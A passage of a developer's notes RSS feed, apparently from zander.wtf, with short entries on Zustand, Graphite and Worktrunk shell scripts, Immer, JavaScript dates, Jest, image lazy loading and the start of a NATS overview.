&lt;p&gt;Subscribe without causing re-renders for performance-critical updates.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const Component = () =&amp;gt; {
  const scratchRef = useRef(useScratchStore.getState().scratches);

  useEffect(
    () =&amp;gt;
      useScratchStore.subscribe((state) =&amp;gt; {
        scratchRef.current = state.scratches;
      }),
    [],
  );
  // ...
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Context for dependency injection&lt;/h2&gt;
&lt;p&gt;Use vanilla store with React context when you need providers.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { createContext, useContext } from &apos;react&apos;
import { createStore, useStore } from &apos;zustand&apos;

const store = createStore(...)
const StoreContext = createContext(store)

const App = () =&amp;gt; (
  &amp;lt;StoreContext.Provider value={store}&amp;gt;
    &amp;lt;Component /&amp;gt;
  &amp;lt;/StoreContext.Provider&amp;gt;
)

const Component = () =&amp;gt; {
  const store = useContext(StoreContext)
  const slice = useStore(store, (state) =&amp;gt; state.value)
  // ...
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>react</category><author>Zander Martineau</author></item><item><title>Git worktrees with Graphite</title><link>https://zander.wtf/notes/graphite-worktrees/</link><guid isPermaLink="true">https://zander.wtf/notes/graphite-worktrees/</guid><description>Using worktrees with Graphite is a bit painful, so I made some shell scripts that integrate with Worktrunk to make the process a lot easier Fishshell…</description><pubDate>Tue, 27 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Using worktrees with &lt;a href=&quot;https://graphite.dev&quot;&gt;Graphite&lt;/a&gt; is a bit painful, so I made some shell scripts that integrate with &lt;a href=&quot;https://worktrunk.dev/&quot;&gt;Worktrunk&lt;/a&gt; to make the process a lot easier&lt;/p&gt;
&lt;h2&gt;Fishshell script&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;gt-wt-create.fish&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# gt-wt-create: Create a new Graphite-tracked branch and switch to its worktree
#
# Requirements:
# - Graphite CLI (gt): https://graphite.dev/
# - Worktrunk CLI (wt): https://worktrunk.dev/
#
# Usage: gt-wt-create &amp;lt;branchName&amp;gt;
#
# Development Workflow:
# 1. Run this function to create and switch to a new worktree branch
# 2. Use `gt modify` to make your initial changes (not `gt create`, branch is already checked out)
# 3. Use normal gt operations for submitting and stacking (`gt submit`, `gt create` for stacks, etc.)
#
# When done with a stack:
# 1. Run `gt sync`
# 2. Do NOT accept deleting your worktree branches when prompted
# 3. Checkout your worktree branch and rebase it to main
# 4. Proceed with new work from there

function gt-wt-create
    if test (count $argv) -ne 1
        echo &quot;Usage: gt-wt-create &amp;lt;branchName&amp;gt;&quot;
        return 1
    end

    set branchName $argv[1]

    git branch $branchName
    git switch $branchName
    gt track
    git switch main
    wt switch $branchName
end
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Bash script&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;gt-wt-create.sh&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# gt-wt-create: Create a new Graphite-tracked branch and switch to its worktree
#
# Requirements:
# - Graphite CLI (gt): https://graphite.dev/
# - Worktrunk CLI (wt): https://worktrunk.dev/
#
# Usage: gt-wt-create &amp;lt;branchName&amp;gt;
#
# Development Workflow:
# 1. Run this function to create and switch to a new worktree branch
# 2. Use `gt modify` to make your initial changes (not `gt create`, branch is already checked out)
# 3. Use normal gt operations for submitting and stacking (`gt submit`, `gt create` for stacks, etc.)
#
# When done with a stack:
# 1. Run `gt sync`
# 2. Do NOT accept deleting your worktree branches when prompted
# 3. Checkout your worktree branch and rebase it to main
# 4. Proceed with new work from there

gt-wt-create() {
    if [ -z &quot;$1&quot; ]; then
        echo &quot;Usage: gt-wt-create &amp;lt;branchName&amp;gt;&quot;
        return 1
    fi

    branchName=&quot;$1&quot;

    git branch &quot;$branchName&quot;
    git switch &quot;$branchName&quot;
    gt track
    git switch main
    wt switch &quot;$branchName&quot;
}

&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>dev</category><category>ai</category><author>Zander Martineau</author></item><item><title>Graphite CLI</title><link>https://zander.wtf/notes/graphite/</link><guid isPermaLink="true">https://zander.wtf/notes/graphite/</guid><description>| Command | Alias | Description | | ----------------------------------------------------- | ---------------------------- |…</description><pubDate>Tue, 20 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Command&lt;/th&gt;
&lt;th&gt;Alias&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;gt log short&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;gt ls&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Run any time branches are created/manipulated/changed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;gt create --all --message &amp;lt;COMMIT_MESSAGE&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;gt c -am &amp;lt;COMMIT_MESSAGE&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Create changes, stage the changes, create a new branch and commit the changes to the new branch all at once&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;gt submit --stack&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;gt ss&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Submit your changes across all PRs on a stack&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;gt submit --stack --update-only&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;gt ss -u&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Update all PRs for branches in your stack that already have PRs, but do not create new ones&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;gt modify&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;gt m -a&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Update an existing branch with all new changes by amending the existing commit on that branch&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;gt modify --all --commit --message &amp;lt;COMMIT_MESSAGE&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;gt m -cam &amp;lt;COMMIT_MESSAGE&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Update an existing branch with all new changes by creating an entirely new commit on that branch&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;gt sync --force&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;gt sync -f&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Pull your trunk branch, automatically clean up any branches corresponding to merged PRs, and restack any branches that do not conflict.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
</content:encoded><category>git</category><author>Zander Martineau</author></item><item><title>Immer</title><link>https://zander.wtf/notes/immer/</link><guid isPermaLink="true">https://zander.wtf/notes/immer/</guid><description>Basic example Immer lets you write mutable-looking code that produces immutable updates. You write code as if you&apos;re directly modifying the object, but…</description><pubDate>Tue, 20 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Basic example&lt;/h2&gt;
&lt;p&gt;Immer lets you write mutable-looking code that produces immutable updates. You write code as if you&apos;re directly modifying the object, but Immer produces a new immutable copy.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { produce } from &apos;immer&apos;

const baseState = {
  name: &apos;Michel&apos;,
  age: 33,
}

const nextState = produce(baseState, (draft) =&amp;gt; {
  draft.age = 34
})

console.log(baseState.age) // 33 (unchanged)
console.log(nextState.age) // 34 (new object)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;With current state&lt;/h3&gt;
&lt;p&gt;Use &lt;code&gt;current()&lt;/code&gt; to get a snapshot of the draft at any point:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { produce, current } from &apos;immer&apos;

const nextState = produce(baseState, (draft) =&amp;gt; {
  draft.items.push({ id: 1 })
  console.log(current(draft)) // logs the current draft state
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;useImmer&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;use-immer&lt;/code&gt; package provides hooks that combine React state with Immer.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;npm install immer use-immer
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;import { useImmer } from &apos;use-immer&apos;

function App() {
  const [person, updatePerson] = useImmer({
    name: &apos;Michel&apos;,
    age: 33,
  })

  function updateName(name) {
    updatePerson((draft) =&amp;gt; {
      draft.name = name
    })
  }

  function becomeOlder() {
    updatePerson((draft) =&amp;gt; {
      draft.age++
    })
  }

  return (
    &amp;lt;div className=&quot;App&quot;&amp;gt;
      &amp;lt;h1&amp;gt;
        Hello {person.name} ({person.age})
      &amp;lt;/h1&amp;gt;
      &amp;lt;input
        onChange={(e) =&amp;gt; {
          updateName(e.target.value)
        }}
        value={person.name}
      /&amp;gt;
      &amp;lt;br /&amp;gt;
      &amp;lt;button onClick={becomeOlder}&amp;gt;Older&amp;lt;/button&amp;gt;
    &amp;lt;/div&amp;gt;
  )
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Update patterns&lt;/h2&gt;
&lt;p&gt;https://immerjs.github.io/immer/docs/update-patterns&lt;/p&gt;
&lt;h3&gt;Object mutations&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import { produce } from &apos;immer&apos;

const todosObj = {
  id1: { done: false, body: &apos;Take out the trash&apos; },
  id2: { done: false, body: &apos;Check Email&apos; },
}

// add
const addedTodosObj = produce(todosObj, (draft) =&amp;gt; {
  draft[&apos;id3&apos;] = { done: false, body: &apos;Buy bananas&apos; }
})

// delete
const deletedTodosObj = produce(todosObj, (draft) =&amp;gt; {
  delete draft[&apos;id1&apos;]
})

// update
const updatedTodosObj = produce(todosObj, (draft) =&amp;gt; {
  draft[&apos;id1&apos;].done = true
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Array mutations&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import { produce } from &apos;immer&apos;

const todosArray = [
  { id: &apos;id1&apos;, done: false, body: &apos;Take out the trash&apos; },
  { id: &apos;id2&apos;, done: false, body: &apos;Check Email&apos; },
]

// add
const addedTodosArray = produce(todosArray, (draft) =&amp;gt; {
  draft.push({ id: &apos;id3&apos;, done: false, body: &apos;Buy bananas&apos; })
})

// delete by index
const deletedTodosArray = produce(todosArray, (draft) =&amp;gt; {
  draft.splice(3 /*the index */, 1)
})

// update by index
const updatedTodosArray = produce(todosArray, (draft) =&amp;gt; {
  draft[3].done = true
})

// insert at index
const updatedTodosArray = produce(todosArray, (draft) =&amp;gt; {
  draft.splice(3, 0, { id: &apos;id3&apos;, done: false, body: &apos;Buy bananas&apos; })
})

// remove last item
const updatedTodosArray = produce(todosArray, (draft) =&amp;gt; {
  draft.pop()
})

// remove first item
const updatedTodosArray = produce(todosArray, (draft) =&amp;gt; {
  draft.shift()
})

// add item at the beginning of the array
const addedTodosArray = produce(todosArray, (draft) =&amp;gt; {
  draft.unshift({ id: &apos;id3&apos;, done: false, body: &apos;Buy bananas&apos; })
})

// delete by id
const deletedTodosArray = produce(todosArray, (draft) =&amp;gt; {
  const index = draft.findIndex((todo) =&amp;gt; todo.id === &apos;id1&apos;)
  if (index !== -1) draft.splice(index, 1)
})

// update by id
const updatedTodosArray = produce(todosArray, (draft) =&amp;gt; {
  const index = draft.findIndex((todo) =&amp;gt; todo.id === &apos;id1&apos;)
  if (index !== -1) draft[index].done = true
})

// filtering items
const updatedTodosArray = produce(todosArray, (draft) =&amp;gt; {
  // creating a new state is simpler in this example
  // (note that we don&apos;t need produce in this case,
  // but as shown below, if the filter is not on the top
  // level produce is still pretty useful)
  return draft.filter((todo) =&amp;gt; todo.done)
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Nested data structures&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import { produce } from &apos;immer&apos;

// example complex data structure
const store = {
  users: new Map([
    [
      &apos;17&apos;,
      {
        name: &apos;Michel&apos;,
        todos: [
          {
            title: &apos;Get coffee&apos;,
            done: false,
          },
        ],
      },
    ],
  ]),
}

// updating something deeply in-an-object-in-an-array-in-a-map-in-an-object:
const nextStore = produce(store, (draft) =&amp;gt; {
  draft.users.get(&apos;17&apos;).todos[0].done = true
})

// filtering out all unfinished todo&apos;s
const nextStore = produce(store, (draft) =&amp;gt; {
  const user = draft.users.get(&apos;17&apos;)
  // when filtering, creating a fresh collection is simpler than
  // removing irrelvant items
  user.todos = user.todos.filter((todo) =&amp;gt; todo.done)
})
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>react</category><author>Zander Martineau</author></item><item><title>JavaScript dates</title><link>https://zander.wtf/notes/javscript-dates/</link><guid isPermaLink="true">https://zander.wtf/notes/javscript-dates/</guid><description>The Unix epoch (or Unix time or POSIX time or Unix timestamp) is the number of seconds that have elapsed since January 1, 1970 (midnight UTC/GMT), not…</description><pubDate>Tue, 20 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The &lt;strong&gt;Unix epoch&lt;/strong&gt; (or &lt;strong&gt;Unix time&lt;/strong&gt; or &lt;strong&gt;POSIX time&lt;/strong&gt; or &lt;strong&gt;Unix timestamp&lt;/strong&gt;) is the number of seconds that have elapsed since January 1, 1970 (midnight UTC/GMT), not counting leap seconds (in ISO 8601: 1970-01-01T00:00:00Z). Literally speaking the epoch is Unix time 0 (midnight 1/1/1970), but &apos;epoch&apos; is often used as a synonym for Unix time.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Human-readable time&lt;/th&gt;
&lt;th&gt;Seconds&lt;/th&gt;
&lt;th&gt;Milliseconds&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1 second&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;1000 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1 minute&lt;/td&gt;
&lt;td&gt;60 s&lt;/td&gt;
&lt;td&gt;60,000 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1 hour&lt;/td&gt;
&lt;td&gt;3,600 s&lt;/td&gt;
&lt;td&gt;3,600,000 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1 day&lt;/td&gt;
&lt;td&gt;86,400 s&lt;/td&gt;
&lt;td&gt;86,400,000 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1 week&lt;/td&gt;
&lt;td&gt;604,800 s&lt;/td&gt;
&lt;td&gt;604,800,000 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1 month&lt;/td&gt;
&lt;td&gt;2,629,746 s&lt;/td&gt;
&lt;td&gt;2,629,746,000 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1 year&lt;/td&gt;
&lt;td&gt;31,556,952 s&lt;/td&gt;
&lt;td&gt;31,556,952,000 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Get the current epoch time&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;getTime()&lt;/code&gt; method returns the time in milliseconds.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Math.floor(new Date().getTime() / 1000.0) // 1676457318
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Convert from epoch to human-readable date&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;const date = new Date(1676457318 * 1000) // Wed Feb 15 2023 10:35:18 GMT+0000 (Greenwich Mean Time)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Date methods&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;date.toDateString() // &apos;Wed Feb 15 2023&apos;
date.toJSON() // &apos;2023-02-15T10:35:18.000Z&apos;
date.toUTCString() // &apos;Wed, 15 Feb 2023 10:35:18 GMT&apos;
date.toLocaleString() // &apos;2/15/2023, 10:35:18 AM&apos;
date.toLocaleTimeString() // &apos;10:35:18 AM&apos;
date.getDate() // 15
date.getTime() // 1676457318000
date.getUTCDay() // 3
date.getMinutes() // 35
date.getHours() // 10
date.getMonth() // 1 - months are zero-indexed
date.getFullYear() // 2023
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Formatting with Intl.DateTimeFormat&lt;/h2&gt;
&lt;p&gt;For more control over date formatting without external libraries:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const date = new Date()

// Basic formatting
new Intl.DateTimeFormat(&apos;en-GB&apos;).format(date) // &apos;15/02/2023&apos;
new Intl.DateTimeFormat(&apos;en-US&apos;).format(date) // &apos;2/15/2023&apos;

// With options
new Intl.DateTimeFormat(&apos;en-US&apos;, {
  weekday: &apos;long&apos;,
  year: &apos;numeric&apos;,
  month: &apos;long&apos;,
  day: &apos;numeric&apos;,
}).format(date) // &apos;Wednesday, February 15, 2023&apos;

// Relative time
const rtf = new Intl.RelativeTimeFormat(&apos;en&apos;, { numeric: &apos;auto&apos; })
rtf.format(-1, &apos;day&apos;) // &apos;yesterday&apos;
rtf.format(2, &apos;hour&apos;) // &apos;in 2 hours&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Date.now() shorthand&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;Date.now() // 1676457318000 (current timestamp in ms)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;ISO string parsing&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;new Date(&apos;2023-02-15T10:35:18.000Z&apos;) // Parses ISO 8601 format
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>javascript</category><author>Zander Martineau</author></item><item><title>Jest</title><link>https://zander.wtf/notes/jest/</link><guid isPermaLink="true">https://zander.wtf/notes/jest/</guid><description>For new projects, consider using Vitest instead. It&apos;s faster, has better ESM support, and is compatible with most Jest APIs. Basic test skeleton Use Jest…</description><pubDate>Tue, 20 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;For new projects, consider using &lt;a href=&quot;/notes/vitest&quot;&gt;Vitest&lt;/a&gt; instead. It&apos;s faster, has better ESM support, and is compatible with most Jest APIs.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Basic test skeleton&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;describe(&apos;MyFunction&apos;, () =&amp;gt; {
  it(&apos;should do something&apos;, () =&amp;gt; {
    // Arrange
    const input = &apos;test&apos;

    // Act
    const result = myFunction(input)

    // Assert
    expect(result).toBe(&apos;expected&apos;)
  })
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Use Jest globals&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;import { expect, test, describe, beforeEach, jest } from &apos;@jest/globals&apos;

test(&apos;two plus two is four&apos;, () =&amp;gt; {
  expect(2 + 2).toBe(4)
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Mocking&lt;/h2&gt;
&lt;h3&gt;Mock a function&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;const mockFn = jest.fn()
mockFn.mockReturnValue(&apos;mocked value&apos;)
mockFn.mockResolvedValue(&apos;async mocked value&apos;)

// Check calls
expect(mockFn).toHaveBeenCalled()
expect(mockFn).toHaveBeenCalledWith(&apos;arg1&apos;, &apos;arg2&apos;)
expect(mockFn).toHaveBeenCalledTimes(2)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Mock a module&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;jest.mock(&apos;./myModule&apos;, () =&amp;gt; ({
  myFunction: jest.fn(() =&amp;gt; &apos;mocked&apos;),
}))
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Spy on a method&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;const spy = jest.spyOn(object, &apos;method&apos;)
expect(spy).toHaveBeenCalled()
spy.mockRestore()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Async testing&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;test(&apos;async function&apos;, async () =&amp;gt; {
  const result = await fetchData()
  expect(result).toEqual({ data: &apos;value&apos; })
})

test(&apos;resolves correctly&apos;, async () =&amp;gt; {
  await expect(fetchData()).resolves.toEqual({ data: &apos;value&apos; })
})

test(&apos;rejects with error&apos;, async () =&amp;gt; {
  await expect(failingFetch()).rejects.toThrow(&apos;Network error&apos;)
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Testing throws&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;test(&apos;throws on invalid input&apos;, () =&amp;gt; {
  expect(() =&amp;gt; formatDate(&apos;invalid&apos;)).toThrow(&apos;Date string wrong format&apos;)
  expect(() =&amp;gt; formatDate(&apos;invalid&apos;)).toThrow(Error)
  expect(() =&amp;gt; formatDate(&apos;invalid&apos;)).toThrowErrorMatchingInlineSnapshot(
    `&quot;Date string wrong format&quot;`
  )
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Matchers cheatsheet&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// Equality
expect(value).toBe(exact)           // strict equality (===)
expect(value).toEqual(obj)          // deep equality
expect(value).toStrictEqual(obj)    // deep equality + undefined props

// Truthiness
expect(value).toBeTruthy()
expect(value).toBeFalsy()
expect(value).toBeNull()
expect(value).toBeUndefined()
expect(value).toBeDefined()

// Numbers
expect(value).toBeGreaterThan(3)
expect(value).toBeLessThan(5)
expect(value).toBeCloseTo(0.3, 5)   // for floats

// Strings
expect(string).toMatch(/pattern/)
expect(string).toContain(&apos;substring&apos;)

// Arrays
expect(array).toContain(item)
expect(array).toHaveLength(3)
expect(array).toContainEqual({ id: 1 })

// Objects
expect(object).toHaveProperty(&apos;key&apos;)
expect(object).toHaveProperty(&apos;key&apos;, &apos;value&apos;)
expect(object).toMatchObject({ subset: true })
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>javascript</category><category>react</category><category>testing</category><author>Zander Martineau</author></item><item><title>Native image lazy loading</title><link>https://zander.wtf/notes/native-image-lazy-loading/</link><guid isPermaLink="true">https://zander.wtf/notes/native-image-lazy-loading/</guid><description>Always include width and height attributes to prevent layout shift while the image loads. Values lazy: Defer loading until it reaches a calculated distance…</description><pubDate>Tue, 20 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;image.jpg&quot; alt=&quot;Description&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;600&quot; /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Always include &lt;code&gt;width&lt;/code&gt; and &lt;code&gt;height&lt;/code&gt; attributes to prevent layout shift while the image loads.&lt;/p&gt;
&lt;h2&gt;Values&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;lazy&lt;/code&gt;: Defer loading until it reaches a calculated distance from viewport&lt;/li&gt;
&lt;li&gt;&lt;code&gt;eager&lt;/code&gt;: Load the resource immediately&lt;/li&gt;
&lt;li&gt;&lt;code&gt;auto&lt;/code&gt;: Browser default (typically eager)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;When to use&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;✅ Images below the fold (not immediately visible)&lt;/li&gt;
&lt;li&gt;✅ Images in long lists or feeds&lt;/li&gt;
&lt;li&gt;❌ Hero images or LCP (Largest Contentful Paint) images - use &lt;code&gt;eager&lt;/code&gt; or omit the attribute&lt;/li&gt;
&lt;li&gt;❌ Images already in the viewport on load&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;With iframes&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;iframe src=&quot;video-player.html&quot; loading=&quot;lazy&quot;&amp;gt;&amp;lt;/iframe&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;code&gt;fetchpriority&lt;/code&gt; for important images&lt;/h2&gt;
&lt;p&gt;For above-the-fold images, use &lt;code&gt;fetchpriority&lt;/code&gt; to load them faster:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;hero.jpg&quot; alt=&quot;Hero&quot; fetchpriority=&quot;high&quot; /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://web.dev/browser-level-image-lazy-loading/&quot;&gt;web.dev: Browser-level image lazy loading&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTML/Element/img#loading&quot;&gt;MDN: loading attribute&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>html</category><author>Zander Martineau</author></item><item><title>NATS &amp; JetStream</title><link>https://zander.wtf/notes/nats/</link><guid isPermaLink="true">https://zander.wtf/notes/nats/</guid><description>What is NATS? NATS is a lightweight, high-performance messaging system for cloud-native applications, microservices, and IoT, utilizing a publish-subscribe…</description><pubDate>Tue, 20 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;What is NATS?&lt;/h2&gt;
&lt;p&gt;NATS is a lightweight, high-performance messaging system for cloud-native applications, microservices, and IoT, utilizing a publish-subscribe model for efficient communication.&lt;/p&gt;
&lt;p&gt;Key functions include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Data Synchronization:&lt;/strong&gt; Keeps data synchronized across network actors&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Message Handling:&lt;/strong&gt; Publishes and subscribes to lightweight messages&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Multi-tenancy Support:&lt;/strong&gt; Isolates clients for enhanced security and flexibility&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Integration:&lt;/strong&gt; Connects with systems like Snowflake for low-latency data analytics&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Core NATS&lt;/h2&gt;
&lt;p&gt;Core NATS operates on a publish-subscribe model using subject/topic-based addressing. This offers two significant advantages: &lt;strong&gt;location independence&lt;/strong&gt; and a default &lt;strong&gt;many-to-many (M:N)&lt;/strong&gt; communication pattern. These enable powerful solutions for common development patterns like microservices, without requiring load balancers, API gateways, or DNS configuration.&lt;/p&gt;
&lt;p&gt;Core NATS provides &lt;strong&gt;at-most-once&lt;/strong&gt; (best-effort) message delivery. JetStream adds persistence with &lt;strong&gt;at-least-once&lt;/strong&gt; and &lt;strong&gt;exactly-once&lt;/strong&gt; semantics.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Concept&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Subjects&lt;/td&gt;
&lt;td&gt;Hierarchical, dot-separated strings (e.g., &lt;code&gt;orders.us.new&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;*&lt;/code&gt; wildcard&lt;/td&gt;
&lt;td&gt;Matches a single token&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;gt;&lt;/code&gt; wildcard&lt;/td&gt;
&lt;td&gt;Matches all remaining tokens&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Pub/Sub&lt;/td&gt;
&lt;td&gt;One-to-many fan-out messaging&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Request/Reply&lt;/td&gt;
&lt;td&gt;One-to-one with built-in reply subject&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;CLI Installation&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;brew tap nats-io/nats-tools
brew install nats-io/nats-tools/nats
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;CLI Help&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;nats -h
nats cheat
nats cheat sub
nats cheat pub
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Core Messaging CLI&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Command&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;nats pub &amp;lt;subject&amp;gt; &amp;lt;message&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Publish a message to a subject&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;nats sub &amp;lt;subject&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Subscribe and listen for messages&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
